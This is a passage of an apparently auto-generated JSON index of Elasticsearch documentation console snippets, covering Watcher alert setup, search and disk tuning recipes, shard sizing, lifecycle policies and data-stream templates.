\"search\" : {\n \"request\" : {\n \"indices\" : [ \"logs\" ],\n \"body\" : {\n \"query\" : {\n \"match\" : { \"message\": \"error\" }\n }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 }} <1>\n }\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":114},"digest":"6f5adbd55a3a2760e7fe9d32df18b1a1","lang":"console","found":["ruby"],"source":"POST logs/_doc\n{\n \"timestamp\": \"2015-05-17T18:12:07.613Z\",\n \"request\": \"GET index.html\",\n \"status_code\": 404,\n \"message\": \"Error: File not found\"\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":131},"digest":"9aa2327ae315c39f2bce2bd22e0deb1b","lang":"console","found":["ruby"],"source":"GET .watcher-history*/_search?pretty\n{\n \"query\" : {\n \"bool\" : {\n \"must\" : [\n { \"match\" : { \"result.condition.met\" : true }},\n { \"range\" : { \"result.execution_time\" : { \"from\" : \"now-10s\" }}}\n ]\n }\n }\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":161},"digest":"160de80948e0c7db49b1c311848a66a2","lang":"console","found":[],"source":"PUT _watcher/watch/log_error_watch\n{\n \"trigger\" : { \"schedule\" : { \"interval\" : \"10s\" }},\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : [ \"logs\" ],\n \"body\" : {\n \"query\" : {\n \"match\" : { \"message\": \"error\" }\n }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 }}\n },\n \"actions\" : {\n \"log_error\" : {\n \"logging\" : {\n \"text\" : \"Found {{ctx.payload.hits.total}} errors in the logs\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/getting-started.asciidoc","line":202},"digest":"67a490d749a0c3bb16a266663423893d","lang":"console","found":["ruby"],"source":"DELETE _watcher/watch/log_error_watch"}, {"source_location":{"file":"watcher/how-watcher-works.asciidoc","line":50},"digest":"7965d4dbafdc7ca9e1ee6759939dd2e8","lang":"console","found":[],"source":"PUT _watcher/watch/log_errors\n{\n \"metadata\" : { <1>\n \"color\" : \"red\"\n },\n \"trigger\" : { <2>\n \"schedule\" : {\n \"interval\" : \"5m\"\n }\n },\n \"input\" : { <3>\n \"search\" : {\n \"request\" : {\n \"indices\" : \"log-events\",\n \"body\" : {\n \"size\" : 0,\n \"query\" : { \"match\" : { \"status\" : \"error\" } }\n }\n }\n }\n },\n \"condition\" : { <4>\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 5 }}\n },\n \"transform\" : { <5>\n \"search\" : {\n \"request\" : {\n \"indices\" : \"log-events\",\n \"body\" : {\n \"query\" : { \"match\" : { \"status\" : \"error\" } }\n }\n }\n }\n },\n \"actions\" : { <6>\n \"my_webhook\" : {\n \"webhook\" : {\n \"method\" : \"POST\",\n \"host\" : \"mylisteninghost\",\n \"port\" : 9200,\n \"path\" : \"/{{watch_id}}\",\n \"body\" : \"Encountered {{ctx.payload.hits.total}} errors\"\n }\n },\n \"email_administrator\" : {\n \"email\" : {\n \"to\" : \"sys.admino@host.domain\",\n \"subject\" : \"Encountered {{ctx.payload.hits.total}} errors\",\n \"body\" : \"Too many error in the system, see attached data\",\n \"attachments\" : {\n \"attached_data\" : {\n \"data\" : {\n \"format\" : \"json\"\n }\n }\n },\n \"priority\" : \"high\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/how-watcher-works.asciidoc","line":156},"digest":"1d918e206ad8dab916e59183da24d9ec","lang":"console","found":["ruby"],"source":"PUT .watches/_settings\n{\n \"index.routing.allocation.include.role\": \"watcher\"\n}"}, {"source_location":{"file":"watcher/actions.asciidoc","line":57},"digest":"85d2e33791f1a74a69dfb04a60e69306","lang":"console","found":[],"source":"PUT _watcher/watch/error_logs_alert\n{\n \"metadata\" : {\n \"color\" : \"red\"\n },\n \"trigger\" : {\n \"schedule\" : {\n \"interval\" : \"5m\"\n }\n },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : \"log-events\",\n \"body\" : {\n \"size\" : 0,\n \"query\" : { \"match\" : { \"status\" : \"error\" } }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 5 }}\n },\n \"actions\" : {\n \"email_administrator\" : {\n \"throttle_period\": \"15m\", <1>\n \"email\" : { <2>\n \"to\" : \"sys.admino@host.domain\",\n \"subject\" : \"Encountered {{ctx.payload.hits.total}} errors\",\n \"body\" : \"Too many error in the system, see attached data\",\n \"attachments\" : {\n \"attached_data\" : {\n \"data\" : {\n \"format\" : \"json\"\n }\n }\n },\n \"priority\" : \"high\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/actions.asciidoc","line":112},"digest":"406a0f1c1aac947bcee58f86b6d036c1","lang":"console","found":[],"source":"PUT _watcher/watch/log_event_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"5m\" }\n },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : \"log-events\",\n \"body\" : {\n \"size\" : 0,\n \"query\" : { \"match\" : { \"status\" : \"error\" } }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 5 }}\n },\n \"throttle_period\" : \"15m\", <1>\n \"actions\" : {\n \"email_administrator\" : {\n \"email\" : {\n \"to\" : \"sys.admino@host.domain\",\n \"subject\" : \"Encountered {{ctx.payload.hits.total}} errors\",\n \"body\" : \"Too many error in the system, see attached data\",\n \"attachments\" : {\n \"attached_data\" : {\n \"data\" : {\n \"format\" : \"json\"\n }\n }\n },\n \"priority\" : \"high\"\n }\n },\n \"notify_pager\" : {\n \"webhook\" : {\n \"method\" : \"POST\",\n \"host\" : \"pager.service.domain\",\n \"port\" : 1234,\n \"path\" : \"/{{watch_id}}\",\n \"body\" : \"Encountered {{ctx.payload.hits.total}} errors\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/actions.asciidoc","line":186},"digest":"3d48d1ba49f680aac32177d653944623","lang":"console","found":[],"source":"POST _watcher/watch//_ack/"}, {"source_location":{"file":"watcher/actions.asciidoc","line":228},"digest":"9eef31d85ebaf6c27054d7375715dbe0","lang":"console","found":[],"source":"PUT _watcher/watch/log_event_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"5m\" }\n },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : \"log-events\",\n \"body\" : {\n \"query\" : { \"match\" : { \"status\" : \"error\" } }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 } }\n },\n \"actions\" : {\n \"log_hits\" : {\n \"foreach\" : \"ctx.payload.hits.hits\", <1>\n \"max_iterations\" : 500,\n \"logging\" : {\n \"text\" : \"Found id {{ctx.payload._id}} with field {{ctx.payload._source.my_field}}\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/actions.asciidoc","line":276},"digest":"f67d8aab9106ad24b1d2c771d3840ed1","lang":"console","found":[],"source":"PUT _watcher/watch/log_event_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"5m\" }\n },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : \"log-events\",\n \"body\" : {\n \"size\" : 0,\n \"query\" : { \"match\" : { \"status\" : \"error\" } }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 } }\n },\n \"actions\" : {\n \"email_administrator\" : {\n \"email\" : {\n \"to\" : \"sys.admino@host.domain\",\n \"subject\" : \"Encountered {{ctx.payload.hits.total}} errors\",\n \"body\" : \"Too many error in the system, see attached data\",\n \"attachments\" : {\n \"attached_data\" : {\n \"data\" : {\n \"format\" : \"json\"\n }\n }\n },\n \"priority\" : \"high\"\n }\n },\n \"notify_pager\" : {\n \"condition\": { <1>\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 5 } }\n },\n \"webhook\" : {\n \"method\" : \"POST\",\n \"host\" : \"pager.service.domain\",\n \"port\" : 1234,\n \"path\" : \"/{{watch_id}}\",\n \"body\" : \"Encountered {{ctx.payload.hits.total}} errors\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/managing-watches.asciidoc","line":30},"digest":"22619a4111f66e1b7231693b8f8d069a","lang":"console","found":[],"source":"GET /_watcher/_query/watches\n{\n \"size\" : 100\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":27},"digest":"dd0b196a099e1cca08c5ce4dd74e935a","lang":"console","found":[],"source":"PUT _watcher/watch/cluster_health_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"10s\" } <1>\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":45},"digest":"1e9cab0b2727624e22e8cf4e7ca498ac","lang":"console","found":["ruby"],"source":"GET _cluster/health?pretty"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":54},"digest":"221e9b14567f950008459af77757750e","lang":"console","found":[],"source":"PUT _watcher/watch/cluster_health_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"10s\" }\n },\n \"input\" : {\n \"http\" : {\n \"request\" : {\n \"host\" : \"localhost\",\n \"port\" : 9200,\n \"path\" : \"/_cluster/health\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":76},"digest":"239f615e0009c5cb1dc4e82ec4c0dab5","lang":"console","found":[],"source":"PUT _watcher/watch/cluster_health_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"10s\" }\n },\n \"input\" : {\n \"http\" : {\n \"request\" : {\n \"host\" : \"localhost\",\n \"port\" : 9200,\n \"path\" : \"/_cluster/health\",\n \"auth\": {\n \"basic\": {\n \"username\": \"elastic\",\n \"password\": \"x-pack-test-password\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":115},"digest":"dfb20907cfc5ac520ea3b1dba5f00811","lang":"console","found":["ruby"],"source":"GET .watcher-history*/_search\n{\n \"sort\" : [\n { \"result.execution_time\" : \"desc\" }\n ]\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":137},"digest":"90f1f5304922fb6d097846dd1444c075","lang":"console","found":[],"source":"PUT _watcher/watch/cluster_health_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"10s\" } <1>\n },\n \"input\" : {\n \"http\" : {\n \"request\" : {\n \"host\" : \"localhost\",\n \"port\" : 9200,\n \"path\" : \"/_cluster/health\"\n }\n }\n },\n \"condition\" : {\n \"compare\" : {\n \"ctx.payload.status\" : { \"eq\" : \"red\" }\n }\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":169},"digest":"95c03bdef4faf6bef039c986f4cb3aba","lang":"console","found":["ruby"],"source":"GET .watcher-history*/_search?pretty\n{\n \"query\" : {\n \"match\" : { \"result.condition.met\" : true }\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":193},"digest":"007179b5e241da650562a5f0a5007823","lang":"console","found":[],"source":"PUT _watcher/watch/cluster_health_watch\n{\n \"trigger\" : {\n \"schedule\" : { \"interval\" : \"10s\" }\n },\n \"input\" : {\n \"http\" : {\n \"request\" : {\n \"host\" : \"localhost\",\n \"port\" : 9200,\n \"path\" : \"/_cluster/health\"\n }\n }\n },\n \"condition\" : {\n \"compare\" : {\n \"ctx.payload.status\" : { \"eq\" : \"red\" }\n }\n },\n \"actions\" : {\n \"send_email\" : {\n \"email\" : {\n \"to\" : \"username@example.org\",\n \"subject\" : \"Cluster Status Warning\",\n \"body\" : \"Cluster status is RED\"\n }\n }\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":259},"digest":"95c03bdef4faf6bef039c986f4cb3aba","lang":"console","found":["ruby"],"source":"GET .watcher-history*/_search?pretty\n{\n \"query\" : {\n \"match\" : { \"result.condition.met\" : true }\n }\n}"}, {"source_location":{"file":"watcher/example-watches/example-watch-clusterstatus.asciidoc","line":280},"digest":"60b0fc1b6ae418621ff1b31591fa1fce","lang":"console","found":["ruby"],"source":"DELETE _watcher/watch/cluster_health_watch"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":11},"digest":"397bdb40d0146102f1f4c6a35675e16a","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"english_exact\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"body\": {\n \"type\": \"text\",\n \"analyzer\": \"english\",\n \"fields\": {\n \"exact\": {\n \"type\": \"text\",\n \"analyzer\": \"english_exact\"\n }\n }\n }\n }\n }\n}\n\nPUT index/_doc/1\n{\n \"body\": \"Ski resort\"\n}\n\nPUT index/_doc/2\n{\n \"body\": \"A pair of skis\"\n}\n\nPOST index/_refresh"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":58},"digest":"bf2e6ea2bae621b9b2fee7003e891f86","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"fields\": [ \"body\" ],\n \"query\": \"ski\"\n }\n }\n}"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":72},"digest":"bb388254a1591e1f5be7982af19c3729","lang":"console-result","found":[],"source":"{\n \"took\": 2,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.18232156,\n \"hits\": [\n {\n \"_index\": \"index\",\n \"_id\": \"1\",\n \"_score\": 0.18232156,\n \"_source\": {\n \"body\": \"Ski resort\"\n }\n },\n {\n \"_index\": \"index\",\n \"_id\": \"2\",\n \"_score\": 0.18232156,\n \"_source\": {\n \"body\": \"A pair of skis\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":116},"digest":"3f94ed945ae6416a0eb372c2db14d7e0","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"fields\": [ \"body.exact\" ],\n \"query\": \"ski\"\n }\n }\n}"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":130},"digest":"9fa3ddfa07814f82845343e677bd441b","lang":"console-result","found":[],"source":"{\n \"took\": 1,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.8025915,\n \"hits\": [\n {\n \"_index\": \"index\",\n \"_id\": \"1\",\n \"_score\": 0.8025915,\n \"_source\": {\n \"body\": \"Ski resort\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":173},"digest":"26abfc49c238c2b5d259983ac38dbcee","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"query\": {\n \"simple_query_string\": {\n \"fields\": [ \"body\" ],\n \"quote_field_suffix\": \".exact\",\n \"query\": \"\\\"ski\\\"\"\n }\n }\n}"}, {"source_location":{"file":"how-to/recipes/stemming.asciidoc","line":188},"digest":"192ff39ffdc681f9b2359563c3c6c113","lang":"console-result","found":[],"source":"{\n \"took\": 2,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\" : 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.8025915,\n \"hits\": [\n {\n \"_index\": \"index\",\n \"_id\": \"1\",\n \"_score\": 0.8025915,\n \"_source\": {\n \"body\": \"Ski resort\"\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"how-to/recipes/scoring.asciidoc","line":123},"digest":"fe6e35839f7d7381f8ec535c8f21959b","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\": {\n \"match\": { \"body\": \"elasticsearch\" }\n },\n \"script\": {\n \"source\": \"_score * saturation(doc['pagerank'].value, 10)\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/recipes/scoring.asciidoc","line":168},"digest":"da0fe1316e5b8fd68e2a8525bcd8b0f6","lang":"console","found":["ruby"],"source":"GET _search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match\": { \"body\": \"elasticsearch\" }\n },\n \"should\": {\n \"rank_feature\": {\n \"field\": \"pagerank\", <1>\n \"saturation\": {\n \"pivot\": 10\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":84},"digest":"12facf3617a41551ce2f0c4d005cb1c7","lang":"console","found":["ruby"],"source":"PUT movies\n{\n \"mappings\": {\n \"properties\": {\n \"name_and_plot\": {\n \"type\": \"text\"\n },\n \"name\": {\n \"type\": \"text\",\n \"copy_to\": \"name_and_plot\"\n },\n \"plot\": {\n \"type\": \"text\",\n \"copy_to\": \"name_and_plot\"\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":118},"digest":"a008f42379930edc354b4074e0a33344","lang":"console","found":["ruby"],"source":"PUT index/_doc/1\n{\n \"designation\": \"spoon\",\n \"price\": 13\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":129},"digest":"a0a7557bb7e2aff7918557cd648f41af","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"aggs\": {\n \"price_ranges\": {\n \"range\": {\n \"field\": \"price\",\n \"ranges\": [\n { \"to\": 10 },\n { \"from\": 10, \"to\": 100 },\n { \"from\": 100 }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":152},"digest":"a4bae4d956bc0a663f42cfec36bf8e0b","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"mappings\": {\n \"properties\": {\n \"price_range\": {\n \"type\": \"keyword\"\n }\n }\n }\n}\n\nPUT index/_doc/1\n{\n \"designation\": \"spoon\",\n \"price\": 13,\n \"price_range\": \"10-100\"\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":176},"digest":"7dedb148ff74912de81b8f8275f0d7f3","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"aggs\": {\n \"price_ranges\": {\n \"terms\": {\n \"field\": \"price_range\"\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":215},"digest":"102c7de25d13c87cf28839ada9f63c95","lang":"console","found":["ruby"],"source":"PUT index/_doc/1\n{\n \"my_date\": \"2016-05-11T16:30:55.328Z\"\n}\n\nGET index/_search\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"range\": {\n \"my_date\": {\n \"gte\": \"now-1h\",\n \"lte\": \"now\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":241},"digest":"17dd67a66c49f7eb618dd17430e48dfa","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"range\": {\n \"my_date\": {\n \"gte\": \"now-1h/m\",\n \"lte\": \"now/m\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":274},"digest":"abc7a670a47516b58b6b07d7497b140c","lang":"console","found":["ruby"],"source":"GET index/_search\n{\n \"query\": {\n \"constant_score\": {\n \"filter\": {\n \"bool\": {\n \"should\": [\n {\n \"range\": {\n \"my_date\": {\n \"gte\": \"now-1h\",\n \"lte\": \"now-1h/m\"\n }\n }\n },\n {\n \"range\": {\n \"my_date\": {\n \"gt\": \"now-1h/m\",\n \"lt\": \"now/m\"\n }\n }\n },\n {\n \"range\": {\n \"my_date\": {\n \"gte\": \"now/m\",\n \"lte\": \"now\"\n }\n }\n }\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":347},"digest":"971c7a36ee79f2b3aa82c64ea338de70","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"mappings\": {\n \"properties\": {\n \"foo\": {\n \"type\": \"keyword\",\n \"eager_global_ordinals\": true\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":482},"digest":"9559de0c2190f99fcc344887fc7b232a","lang":"console","found":["ruby"],"source":"PUT bicycles\n{\n \"mappings\": {\n \"properties\": {\n \"cycle_type\": {\n \"type\": \"constant_keyword\",\n \"value\": \"bicycle\"\n },\n \"name\": {\n \"type\": \"text\"\n }\n }\n }\n}\n\nPUT other_cycles\n{\n \"mappings\": {\n \"properties\": {\n \"cycle_type\": {\n \"type\": \"keyword\"\n },\n \"name\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":520},"digest":"14936b96cfb8ff999a833f615ba75495","lang":"console","found":["ruby"],"source":"GET bicycles,other_cycles/_search\n{\n \"query\": {\n \"bool\": {\n \"must\": {\n \"match\": {\n \"description\": \"dutch\"\n }\n },\n \"filter\": {\n \"term\": {\n \"cycle_type\": \"bicycle\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/search-speed.asciidoc","line":545},"digest":"9de10a59a5f56dd0906be627896cc789","lang":"console","found":["ruby"],"source":"GET bicycles,other_cycles/_search\n{\n \"query\": {\n \"match\": {\n \"description\": \"dutch\"\n }\n }\n}"}, {"source_location":{"file":"how-to/disk-usage.asciidoc","line":14},"digest":"e273060a675c959fd5f3cde27c8aff07","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"mappings\": {\n \"properties\": {\n \"foo\": {\n \"type\": \"integer\",\n \"index\": false\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/disk-usage.asciidoc","line":51},"digest":"597d456edfcb3d410954a3e9b5babf9a","lang":"console","found":["ruby"],"source":"PUT index\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"strings\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"keyword\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":166},"digest":"fd738a9af7b5d21da31a7722f03aade8","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true&h=index,prirep,shard,store&s=prirep,store&bytes=gb"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":210},"digest":"df04e2e9af66d5e30b1bfdbd458cab13","lang":"console","found":["ruby"],"source":"GET _cat/nodes?v=true&h=heap.max"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":219},"digest":"a1070cf2f5969d42d71cda057223f152","lang":"console","found":["ruby"],"source":"GET _cat/shards?v=true"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":253},"digest":"40bd86e400d27e68b8f0ae580c29d32d","lang":"console","found":["ruby"],"source":"GET _cluster/stats?human&filter_path=indices.mappings.total_deduplicated_mapping_size*"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":261},"digest":"2b659fb2c410c929b83ab1798eac57e8","lang":"console-result","found":[],"source":"{\n \"indices\": {\n \"mappings\": {\n \"total_deduplicated_mapping_size\": \"1gb\",\n \"total_deduplicated_mapping_size_in_bytes\": 1073741824\n }\n }\n}"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":288},"digest":"40f97f70e8e743c6a6296c81b920aeb0","lang":"console","found":["ruby"],"source":"GET _nodes/stats?human&filter_path=nodes.*.name,nodes.*.indices.mappings.total_estimated_overhead*,nodes.*.jvm.mem.heap_max*"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":296},"digest":"930e12c4dd93aabdda5944af7f6f16b7","lang":"console-result","found":[],"source":"{\n \"nodes\": {\n \"USpTGYaBSIKbgSUJR2Z9lg\": {\n \"name\": \"node-0\",\n \"indices\": {\n \"mappings\": {\n \"total_estimated_overhead\": \"1gb\",\n \"total_estimated_overhead_in_bytes\": 1073741824\n }\n },\n \"jvm\": {\n \"mem\": {\n \"heap_max\": \"4gb\",\n \"heap_max_in_bytes\": 4294967296\n }\n }\n }\n }\n}"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":373},"digest":"cf23f18761df33f08bc6f6d1875496fd","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_settings\n{\n \"index\" : {\n \"routing.allocation.total_shards_per_node\" : 5\n }\n}"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":433},"digest":"f3fb52680482925c202c2e2f8af6f044","lang":"console","found":["ruby"],"source":"GET _cat/count/my-index-000001?v=true"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":443},"digest":"f6566395f85d3afe917228643d7318d6","lang":"console","found":["ruby"],"source":"DELETE my-index-000001"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":458},"digest":"2f98924c3d593ea2b60edb9cef5bee22","lang":"console","found":["ruby"],"source":"POST my-index-000001/_forcemerge"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":485},"digest":"a999b5661bebb802bbbfe04faacf1971","lang":"console","found":["ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-2099.10.*\"\n },\n \"dest\": {\n \"index\": \"my-index-2099.10\"\n }\n}"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":515},"digest":"96b9289c3c4c6b135ab3386562c4ee8d","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node\": 1200\n }\n}"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":531},"digest":"37c73410bf13429279cbc61a413957d8","lang":"console","found":["ruby"],"source":"GET _cluster/stats?filter_path=indices.shards.total"}, {"source_location":{"file":"how-to/size-your-shards.asciidoc","line":539},"digest":"3af10fde8138d9d95df127d39d9a0ed2","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\" : {\n \"cluster.max_shards_per_node\": null\n }\n}"}, {"source_location":{"file":"tab-widgets/ilm.asciidoc","line":31},"digest":"05148cc541f447486d9daf15ab77292b","lang":"console","found":[],"source":"PUT _ilm/policy/logs\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n },\n \"warm\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"shrink\": {\n \"number_of_shards\": 1\n },\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"cold\": {\n \"min_age\": \"60d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"frozen\": {\n \"min_age\": \"90d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"735d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":48},"digest":"50c2b06ecddb5a4aebd8b78e38af5f1f","lang":"console","found":[],"source":"PUT _ilm/policy/my-lifecycle-policy\n{\n \"policy\": {\n \"phases\": {\n \"hot\": {\n \"actions\": {\n \"rollover\": {\n \"max_primary_shard_size\": \"50gb\"\n }\n }\n },\n \"warm\": {\n \"min_age\": \"30d\",\n \"actions\": {\n \"shrink\": {\n \"number_of_shards\": 1\n },\n \"forcemerge\": {\n \"max_num_segments\": 1\n }\n }\n },\n \"cold\": {\n \"min_age\": \"60d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"frozen\": {\n \"min_age\": \"90d\",\n \"actions\": {\n \"searchable_snapshot\": {\n \"snapshot_repository\": \"found-snapshots\"\n }\n }\n },\n \"delete\": {\n \"min_age\": \"735d\",\n \"actions\": {\n \"delete\": {}\n }\n }\n }\n }\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":137},"digest":"c8210f23c10d0642f24c1e43faa4deda","lang":"console","found":["ruby"],"source":"# Creates a component template for mappings\nPUT _component_template/my-mappings\n{\n \"template\": {\n \"mappings\": {\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\",\n \"format\": \"date_optional_time||epoch_millis\"\n },\n \"message\": {\n \"type\": \"wildcard\"\n }\n }\n }\n },\n \"_meta\": {\n \"description\": \"Mappings for @timestamp and message fields\",\n \"my-custom-meta-field\": \"More arbitrary metadata\"\n }\n}\n\n# Creates a component template for index settings\nPUT _component_template/my-settings\n{\n \"template\": {\n \"settings\": {\n \"index.lifecycle.name\": \"my-lifecycle-policy\"\n }\n },\n \"_meta\": {\n \"description\": \"Settings for ILM\",\n \"my-custom-meta-field\": \"More arbitrary metadata\"\n }\n}"}, {"source_location":{"file":"data-streams/set-up-a-data-stream.asciidoc","line":203},"digest":"c96e5740b79f703c5b77e3ddc9fdf3a0","lang":"console","found":["ruby"],"source":"PUT _index_template/my-index-template\n{\n \"index_patterns\": [\"my-data-stream*\"],\n \"data_stream\": { },\n \"composed_of\": [ \"my-mappings\", \"my-settings\" ],\n \"priority\": 500,\n \"_meta\": {\n \"description\": \"Template for my time series data\",\n \"my-custom-meta-field\": \"More arbitrary metadata\"\n }\n}"}, 